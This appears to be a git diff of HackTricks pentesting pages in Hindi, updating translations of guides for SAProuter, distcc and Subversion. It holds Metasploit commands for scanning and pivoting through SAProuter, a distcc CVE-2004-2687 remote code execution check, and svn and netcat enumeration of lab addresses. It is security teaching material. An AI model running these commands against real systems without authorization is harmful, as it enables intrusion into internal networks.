|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
```text
|
```text
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
3299/tcp open saprouter?
|
3299/tcp open saprouter?
|
||||||
```
|
```
|
||||||
## समझें SAProuter Penetration Metasploit के साथ
|
This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||||
|
|
||||||
SAProuter एक रिवर्स प्रॉक्सी के रूप में काम करता है जो सीधे सीपी सिस्टम के बीच पहुंच नियंत्रित करने के लिए प्रमुखतः इंटरनेट और आंतरिक SAP नेटवर्क के बीच. सामान्यत: संगठनिक फ़ायरवॉल के माध्यम से TCP पोर्ट 3299 को अनुमति देकर इंटरनेट पर उपलब्ध किया जाता है. यह सेटअप SAProuter को पेनेट्रेशन टेस्टिंग के लिए एक आकर्षक लक्ष्य बनाता है क्योंकि यह उच्च मूल्यवान आंतरिक नेटवर्क की ओर एक गेटवे के रूप में काम कर सकता है.
|
## Understanding SAProuter Penetration with Metasploit
|
||||||
|
|
||||||
**स्कैनिंग और जानकारी एकत्र करना**
|
SAProuter SAP सिस्टम के लिए एक रिवर्स प्रॉक्सी के रूप में कार्य करता है, मुख्य रूप से इंटरनेट और आंतरिक SAP नेटवर्क के बीच पहुंच को नियंत्रित करने के लिए। इसे आमतौर पर संगठनात्मक फ़ायरवॉल के माध्यम से TCP पोर्ट 3299 को अनुमति देकर इंटरनेट पर उजागर किया जाता है। यह सेटअप SAProuter को पेंटेस्टिंग के लिए एक आकर्षक लक्ष्य बनाता है क्योंकि यह उच्च-मूल्य वाले आंतरिक नेटवर्क के लिए एक गेटवे के रूप में कार्य कर सकता है।
|
||||||
|
|
||||||
पहले, एक स्कैन किया जाता है ताकि एक दिए गए आईपी पर SAP राउटर चल रहा है या नहीं, **sap_service_discovery** मॉड्यूल का उपयोग करके. यह कदम एक SAP राउटर और उसके खुले पोर्ट की मौजूदगी स्थापित करने के लिए महत्वपूर्ण है।
|
**Scanning and Information Gathering**
|
||||||
|
|
||||||
|
शुरुआत में, यह पहचानने के लिए एक स्कैन किया जाता है कि क्या दिए गए IP पर एक SAP राउटर चल रहा है, **sap_service_discovery** मॉड्यूल का उपयोग करके। यह कदम SAP राउटर की उपस्थिति और इसके खुले पोर्ट की स्थापना के लिए महत्वपूर्ण है।
|
||||||
```text
|
```text
|
||||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||||
msf auxiliary(sap_service_discovery) > run
|
msf auxiliary(sap_service_discovery) > run
|
||||||
```
|
```
|
||||||
खोज के बाद, SAP राउटर के कॉन्फ़िगरेशन में और जांच की जाती है **sap_router_info_request** मॉड्यूल के साथ, जिससे संभावित रूप से आंतरिक नेटवर्क विवरण प्रकट हो सकते हैं।
|
SAP राउटर की कॉन्फ़िगरेशन की खोज के बाद, **sap_router_info_request** मॉड्यूल के साथ आगे की जांच की जाती है ताकि आंतरिक नेटवर्क विवरणों को संभावित रूप से प्रकट किया जा सके।
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||||
msf auxiliary(sap_router_info_request) > run
|
msf auxiliary(sap_router_info_request) > run
|
||||||
```
|
```
|
||||||
**आंतरिक सेवाओं की जांच**
|
**आंतरिक सेवाओं की गणना**
|
||||||
|
|
||||||
प्राप्त की गई आंतरिक नेटवर्क जानकारी के साथ, **sap_router_portscanner** मॉड्यूल का उपयोग SAProuter के माध्यम से आंतरिक होस्ट और सेवाओं की जांच के लिए किया जाता है, जिससे आंतरिक नेटवर्क और सेवा विन्यास की गहरी समझ मिलती है।
|
प्राप्त आंतरिक नेटवर्क अंतर्दृष्टियों के साथ, **sap_router_portscanner** मॉड्यूल का उपयोग आंतरिक होस्ट और सेवाओं की जांच करने के लिए SAProuter के माध्यम से किया जाता है, जिससे आंतरिक नेटवर्क और सेवा कॉन्फ़िगरेशन की गहरी समझ प्राप्त होती है।
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||||
```
|
```
|
||||||
**उन्नत गणना और एसीएल मैपिंग**
|
इस मॉड्यूल की विशिष्ट SAP उदाहरणों और पोर्ट्स को लक्षित करने में लचीलापन इसे विस्तृत आंतरिक नेटवर्क अन्वेषण के लिए एक प्रभावी उपकरण बनाता है।
|
||||||
|
|
||||||
और स्कैनिंग से यह पता लगा सकता है कि SAProuter पर एक्सेस कंट्रोल सूची (ACLs) कैसे कॉन्फ़िगर किए गए हैं, जिसमें यह विस्तार से बताया गया है कि कौन सी कनेक्शन अनुमति दी गई है और कौन सी ब्लॉक की गई है। यह जानकारी सुरक्षा नीतियों और संभावित कमियों को समझने में महत्वपूर्ण है।
|
**उन्नत एन्यूमरेशन और ACL मैपिंग**
|
||||||
|
|
||||||
|
अधिक स्कैनिंग यह प्रकट कर सकती है कि SAProuter पर एक्सेस कंट्रोल सूचियाँ (ACLs) कैसे कॉन्फ़िगर की गई हैं, यह बताते हुए कि कौन सी कनेक्शन की अनुमति है या अवरुद्ध है। यह जानकारी सुरक्षा नीतियों और संभावित कमजोरियों को समझने में महत्वपूर्ण है।
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||||
```
|
```
|
||||||
**आंतरिक होस्ट की अंधकरण**
|
**आंतरिक होस्टों की ब्लाइंड एन्यूमरेशन**
|
||||||
|
|
||||||
जब SAProuter से सीधी जानकारी प्रतिबंधित होती है, तो अंधकरण जैसी तकनीकों का उपयोग किया जा सकता है। यह दृष्टिकोण आंतरिक होस्टनाम की अनुमान लगाने और सत्यापित करने का प्रयास करता है, सीधे आईपी पतों के बिना संभावित लक्ष्यों को प्रकट करता है।
|
उन परिदृश्यों में जहां SAProuter से सीधे जानकारी सीमित है, ब्लाइंड एन्यूमरेशन जैसी तकनीकों का उपयोग किया जा सकता है। यह दृष्टिकोण आंतरिक होस्टनामों के अस्तित्व का अनुमान लगाने और सत्यापित करने का प्रयास करता है, संभावित लक्ष्यों को सीधे IP पते के बिना प्रकट करता है।
|
||||||
|
|
||||||
**प्रवेश परीक्षण के लिए जानकारी का उपयोग**
|
**पेनिट्रेशन टेस्टिंग के लिए जानकारी का लाभ उठाना**
|
||||||
|
|
||||||
नेटवर्क को मानचित्रित करने और पहुंचने योग्य सेवाओं की पहचान करने के बाद, प्रवेश परीक्षक Metasploit की प्रॉक्सी क्षमताओं का उपयोग कर सकते हैं ताकि SAP सेवाओं की आंतरिक जांच और शोषण के लिए SAProuter के माध्यम से घुसाव कर सकें।
|
नेटवर्क का मानचित्रण करने और सुलभ सेवाओं की पहचान करने के बाद, पेनिट्रेशन टेस्टर्स Metasploit की प्रॉक्सी क्षमताओं का उपयोग करके SAProuter के माध्यम से आगे की खोज और आंतरिक SAP सेवाओं के शोषण के लिए पिवट कर सकते हैं।
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||||
```
|
```
|
||||||
**निष्कर्षण**
|
**निष्कर्ष**
|
||||||
|
|
||||||
यह दृष्टिकोण सुरक्षित SAProuter कॉन्फ़िगरेशन के महत्व को जोर देता है और लक्षित पेनेट्रेशन टेस्टिंग के माध्यम से आंतरिक नेटवर्क तक पहुंचने की संभावना को उजागर करता है। SAP राउटर्स को ठीक से सुरक्षित करना और उनकी भूमिका को नेटवर्क सुरक्षा वास्तुकला में समझना, अनधिकृत पहुंच से बचाव के लिए महत्वपूर्ण है।
|
यह दृष्टिकोण सुरक्षित SAProuter कॉन्फ़िगरेशन के महत्व को रेखांकित करता है और लक्षित पेनटेस्टिंग के माध्यम से आंतरिक नेटवर्क तक पहुँचने की संभावनाओं को उजागर करता है। SAP राउटर्स को सही तरीके से सुरक्षित करना और नेटवर्क सुरक्षा आर्किटेक्चर में उनकी भूमिका को समझना अनधिकृत पहुँच के खिलाफ सुरक्षा के लिए महत्वपूर्ण है।
|
||||||
|
|
||||||
Metasploit मॉड्यूल्स और उनके उपयोग पर अधिक विस्तृत जानकारी के लिए, [Rapid7 की डेटाबेस](http://www.rapid7.com/db) पर जाएं।
|
|
||||||
|
|
||||||
|
Metasploit मॉड्यूल और उनके उपयोग के बारे में अधिक विस्तृत जानकारी के लिए, [Rapid7's database](http://www.rapid7.com/db) पर जाएं।
|
||||||
|
|
||||||
## **संदर्भ**
|
## **संदर्भ**
|
||||||
|
|
||||||
|
@ -73,3 +77,18 @@ Metasploit मॉड्यूल्स और उनके उपयोग प
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:3299 !HTTP Network packet too big`
|
* `port:3299 !HTTP Network packet too big`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,39 +1,40 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
**Distcc** एक टूल है जो **संगठन प्रक्रिया** को बढ़ाता है जिससे नेटवर्क में अन्य कंप्यूटरों की **निष्क्रिय प्रोसेसिंग पावर** का उपयोग किया जा सकता है। जब **distcc** एक मशीन पर सेट किया जाता है, तो यह मशीन अपने **कंपाइलेशन टास्क** को दूसरे सिस्टम में वितरित करने में सक्षम होती है। इस प्राप्तकर्ता सिस्टम पर **distccd डेमन** चल रहा होना चाहिए और भेजे गए कोड को प्रोसेस करने के लिए एक **संगत कंपाइलर** इंस्टॉल किया होना चाहिए।
|
**Distcc** एक उपकरण है जो **संकलन प्रक्रिया** को बढ़ाता है, जो नेटवर्क में अन्य कंप्यूटरों की **खाली प्रोसेसिंग शक्ति** का उपयोग करता है। जब **distcc** एक मशीन पर सेट किया जाता है, तो यह मशीन अपनी **संकलन कार्यों** को दूसरे सिस्टम में वितरित करने में सक्षम होती है। इस प्राप्तकर्ता सिस्टम पर **distccd डेमन** चल रहा होना चाहिए और भेजे गए कोड को संसाधित करने के लिए एक **अनुकूलित संकलक** स्थापित होना चाहिए।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 3632
|
**डिफ़ॉल्ट पोर्ट:** 3632
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
3632/tcp open distccd
|
3632/tcp open distccd
|
||||||
```
|
```
|
||||||
# शोध
|
# Exploitation
|
||||||
|
|
||||||
जांचें कि **CVE-2004-2687** के लिए यह वंशावली है ताकि विचारशील कोड को क्रियान्वित किया जा सके:
|
जांचें कि क्या यह **CVE-2004-2687** के प्रति संवेदनशील है ताकि मनमाने कोड को निष्पादित किया जा सके:
|
||||||
```bash
|
```bash
|
||||||
msf5 > use exploit/unix/misc/distcc_exec
|
msf5 > use exploit/unix/misc/distcc_exec
|
||||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||||
```
|
```
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
_मुझे लगता है कि शोडन इस सेवा को नहीं पहचानता।_
|
_मुझे नहीं लगता कि shodan इस सेवा का पता लगाता है।_
|
||||||
|
|
||||||
# संसाधन
|
# Resources
|
||||||
|
|
||||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||||
|
@ -41,16 +42,17 @@ _मुझे लगता है कि शोडन इस सेवा को
|
||||||
Post created by **Álex B (@r1p)**
|
Post created by **Álex B (@r1p)**
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,48 +1,50 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
**सबवर्शन** एक केंद्रीकृत **संस्करण नियंत्रण सिस्टम** है जो परियोजनाओं के वर्तमान और ऐतिहासिक डेटा का प्रबंधन करने में महत्वपूर्ण भूमिका निभाता है। एक **ओपन सोर्स** उपकरण होने के नाते, यह **एपाचे लाइसेंस** के तहत काम करता है। यह सिस्टम **सॉफ़्टवेयर संस्करण और संशोधन नियंत्रण** में अपनी क्षमताओं के लिए व्यापक रूप से मान्यता प्राप्त है, जिससे उपयोगकर्ताओं को समय के साथ परिवर्तनों का पता लगाने में सक्षम रहते हैं।
|
**Subversion** एक केंद्रीकृत **संस्करण नियंत्रण प्रणाली** है जो परियोजनाओं के वर्तमान और ऐतिहासिक डेटा को प्रबंधित करने में महत्वपूर्ण भूमिका निभाती है। एक **ओपन सोर्स** उपकरण होने के नाते, यह **Apache लाइसेंस** के तहत संचालित होता है। इस प्रणाली को **सॉफ़्टवेयर संस्करणन और संशोधन नियंत्रण** की क्षमताओं के लिए व्यापक रूप से मान्यता प्राप्त है, यह सुनिश्चित करते हुए कि उपयोगकर्ता समय के साथ परिवर्तनों को प्रभावी ढंग से ट्रैक कर सकें।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 3690
|
**डिफ़ॉल्ट पोर्ट:** 3690
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
3690/tcp open svnserve Subversion
|
3690/tcp open svnserve Subversion
|
||||||
```
|
```
|
||||||
## बैनर ग्रबिंग
|
## बैनर ग्रैबिंग
|
||||||
```
|
```
|
||||||
nc -vn 10.10.10.10 3690
|
nc -vn 10.10.10.10 3690
|
||||||
```
|
```
|
||||||
## जांच
|
## गणना
|
||||||
```bash
|
```bash
|
||||||
svn ls svn://10.10.10.203 #list
|
svn ls svn://10.10.10.203 #list
|
||||||
svn log svn://10.10.10.203 #Commit history
|
svn log svn://10.10.10.203 #Commit history
|
||||||
svn checkout svn://10.10.10.203 #Download the repository
|
svn checkout svn://10.10.10.203 #Download the repository
|
||||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,32 +1,33 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
